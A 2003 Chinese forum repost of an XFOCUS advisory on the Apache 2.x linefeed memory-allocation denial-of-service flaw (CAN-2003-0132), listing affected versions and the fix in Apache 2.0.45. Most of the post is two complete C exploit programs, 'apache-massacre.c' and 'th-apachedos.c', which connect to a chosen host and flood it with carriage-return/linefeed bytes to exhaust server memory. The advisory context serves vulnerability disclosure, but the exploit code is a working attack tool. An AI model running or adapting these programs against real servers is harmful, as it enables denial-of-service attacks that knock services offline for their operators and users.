|
发表于 2003-7-26 14:11:17
|
显示全部楼层
Apache Web Server Linefeed内存分配拒绝服务漏洞
发布时间:2003-05-25
更新时间:2003-05-25
严重程度:高
威胁程度:远程拒绝服务
错误类型:意外情况处置错误
利用方式:服务器模式
BUGTRAQ ID:7254
CVE(CAN) ID:CAN-2003-0132
受影响系统
Apache Software Foundation Apache 2.0 a9
Apache Software Foundation Apache 2.0
Apache Software Foundation Apache 2.0.28
Apache Software Foundation Apache 2.0.32
Apache Software Foundation Apache 2.0.35
Apache Software Foundation Apache 2.0.36
Apache Software Foundation Apache 2.0.37
Apache Software Foundation Apache 2.0.38
Apache Software Foundation Apache 2.0.39
Apache Software Foundation Apache 2.0.40
+RedHat Linux 8.0
+RedHat Linux 9.0 i386
Apache Software Foundation Apache 2.0.41
Apache Software Foundation Apache 2.0.42
+Gentoo Linux 1.2
+Gentoo Linux 1.4 _rc1
Apache Software Foundation Apache 2.0.43
Apache Software Foundation Apache 2.0.44
Apple MacOS X Server 10.2
Apple MacOS X Server 10.2.1
Apple MacOS X Server 10.2.2
Apple MacOS X Server 10.2.3
Apple MacOS X Server 10.2.4
HP Apache-Based Web Server 2.0.43 .04
HP Apache-Based Web Server 2.0.43 .00
-HP HP-UX 11.0
-HP HP-UX 11.11
-HP HP-UX 11.20
-HP HP-UX 11.22
HP HP-UX Apache-Based Web Server 1.0.01.01
-HP HP-UX 11.0
-HP HP-UX 11.11
-HP HP-UX 11.20
-HP HP-UX 11.22
HP HP-UX Apache-Based Web Server 1.0.00.01
-HP HP-UX 11.0
-HP HP-UX 11.11
-HP HP-UX 11.20
-HP HP-UX 11.22
HP HP-UX Apache-Based Web Server 1.0.2 .01
详细描述
Apache Web Server实现上存在拒绝服务攻击漏洞,Apache处理超多连续的回车换行的字符的方式有问题,会导致服务器程序分配大量的内存,从而造成拒绝服务攻击。
测试代码
/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By Matthew Murphy
*
* DISCLAIMER: This exploit tool is provided only to test networks for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*
* Apache 2.x (2.0.44 and prior) has a memory leak in its request handling
* that causes it to handle newlines in an akward manner -- it allocates
* 80 bytes for each. This quickly turns into a nightmare for server stats.
* On Windows XP, I was able to cause Apache to consume 390 MB in a matter
* of a few minutes.
*
* The idea is to fire off millions of newlines, depriving Apache of valuable
* memory, causing a huge performance degredation. The worst part about this
* flaw is that leaked memory isn't recovered until the Apache child process
* terminates.
*
* The high consumption drops some when the session ends, but there is still
* a substantial increase in memory use that doesn't end until Apache exits.
* I got memory use up to a peak of about 69,000 KB, and it dropped down to
* about 37,000 KB. The attacking code was the only traffic on the server --
* the idle memory use of the server is about 7,132 KB. Although the leak is
* cut in half when the connection terminates, the leak is still a mighty
* 29,878 KB (21.3 MB). All this occurred in a matter of 15 seconds on my
* 2.51 GHz P4.
*
* As with most Apache exposures, the impacts vary between ports of the server:
*
* Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
* by this, as Apache's child process doesn't terminate normally unless the
* parent process stops. This means that leaks (and any performance loss) hang
* around until Apache is restarted.
*
* Unix/mpm_prefork: This MPM offers the most protection against successful
* exploitation, as its processes exit at the end of the request.
*
* Unix/other MPMs: These other MPMs utilize multiple Apache processes for
* multiple Apache requests. Depending on the MPM in use and the traffic rates
* of the server, this may be used to the advantage of a potential attacker.
* If multiple different Apache processes are utilized, an attacker can spread
* the substantial leak between processes to dodge resource limits imposed on
* httpd's UID (usually nobody, www, or apache)
*
* Credit: iDEFENSE reported this issue to several security lists on April 8,
* 2003 following the Apache release announcement. Apache fixed the flaw about
* a month after the initial disclosure of this vulnerability. iDEFENSE credits
* the discovery of this vulnerability to an anonymous researcher.
*
* Happy Hunting!
*/
#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#include <windows.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>
int sig_fired = 0;
#ifndef _WIN32
void sig_handler(int sig) {
#else
BOOL WINAPI sig_handler(DWORD dwCtrlType) {
#endif
sig_fired = 1;
#ifndef _WIN32
return;
#else
return TRUE;
#endif
}
int main(int argc, char *argv[]) {
SOCKET s;
struct sockaddr_in sin;
char buffer[1025];
struct hostent *he;
unsigned short iPort = 80;
int newlines = 100;
char *p;
char *p2;
int i;
#ifdef _WIN32
WSADATA wsa_prov;
#endif
printf("Apache Massacre v1.0\r\n");
printf("Exploit by Matthew Murphy\r\n");
printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
#ifdef _WIN32
if (WSAStartup(0x0101, &wsa_prov)) {
perror("WSAStartup");
exit(1);
}
#endif
printf("lease enter the web server's host/IP: ");
fgets(&buffer[0], 1024, stdin);
he = gethostbyname(&buffer[0]);
if (!he) {
perror("gethostbyname");
exit(1);
}
sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
printf("lease enter the web server's port: ");
fgets(&buffer[0], 1024, stdin);
iPort = (unsigned short)atoi(&buffer[0]);
#ifndef _WIN32
#ifdef _SOLARIS
sigset(SIGINT, &sig_handler);
#else
signal(SIGINT, &sig_handler);
#endif
#else
SetConsoleCtrlHandler(&sig_handler, TRUE);
#endif
printf("How many newlines should be in each request [100]: ");
fgets(&buffer[0], 1024, stdin);
if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
newlines = atoi(&buffer[0]);
}
p = malloc(newlines*2);
p2 = p;
for (i = 0; i < newlines; i++) {
*p2 = 0x0D;
p2++;
*p2 = 0x0A;
p2++;
}
newlines += newlines;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(iPort);
if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
perror("connect");
exit(1);
}
while (1) {
if (!send(s, (char *)p, newlines, 0) == newlines) {
perror("send");
exit(1);
}
if (sig_fired) {
printf("Terminating on SIGINT");
free(p);
#ifndef _WIN32
close(s);
#else
closesocket(s);
WSACleanup();
#endif
exit(0);
}
}
}
/* Version 2 */
/******** th-apachedos.c ********************************************************
* *
* Remote Apache DoS exploit *
* ------------------------- *
* Written as a poc for the: *
* *
* iDEFENSE Security Advisory 04.08.03: *
* http://www.idefense.com/advisory/04.08.03.txt *
* Denial of Service in Apache HTTP Server 2.x *
* April 8, 2003 *
* *
* This program sends 8000000 \n's to exploit the Apache memory leak. *
* Works from scratch under Linux, as opposed to apache-massacre.c . *
* *
* *
* Daniel Nystr鰉 <exce@netwinder.nu> *
* *
* - www.telhack.tk - *
* *
******************************************************** th-apachedos.c ********/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
int sockfd;
int count;
char buffer[8000000];
struct sockaddr_in target;
struct hostent *he;
if (argc != 3)
{
fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
fprintf(stderr, "\n----------------------------------------------");
fprintf(stderr, "\nUsage: %s <Target> <ort>\n\n", argv[0]);
exit(-1);
}
printf("\nTH-Apache DoS\n");
printf("-------------\n");
printf("-> Starting...\n");
printf("->\n");
// memset(buffer, '\n', sizeof(buffer)); /* testing */
for (count = 0; count < 8000000;)
{
buffer[count] = '\r'; /* 0x0D */
count++;
buffer[count] = '\n'; /* 0x0A */
count++;
}
if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname() failed ");
exit(-1);
}
memset(&target, 0, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(atoi(argv[2]));
target.sin_addr = *((struct in_addr *)he->h_addr);
printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
printf("->\n");
if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket() failed ");
exit(-1);
}
if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
{
perror("connect() failed ");
exit(-1);
}
printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
printf("->\n");
if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
{
perror("send() failed ");
exit(-1);
close(sockfd);
}
close(sockfd);
printf("-> Finished smoothly, check hosts apache...\n\n");
}
/* EOF - th-apachedos.c
* http://www.telhack.tk
*/
解决方案
厂商已经在最新版本的软件中修补了此漏洞:
Apache Software Foundation Apache 2.0.35:
Apache Software Foundation Upgrade Apache httpd 2.0.45
http://www.apache.org/dist/httpd/
相关信息
Apache httpd Release 2.0 Changes
http://www.apache.org/dist/httpd/CHANGES_2.0
Copyright © 1998-2003 XFOCUS Team. All Rights Reserved |
|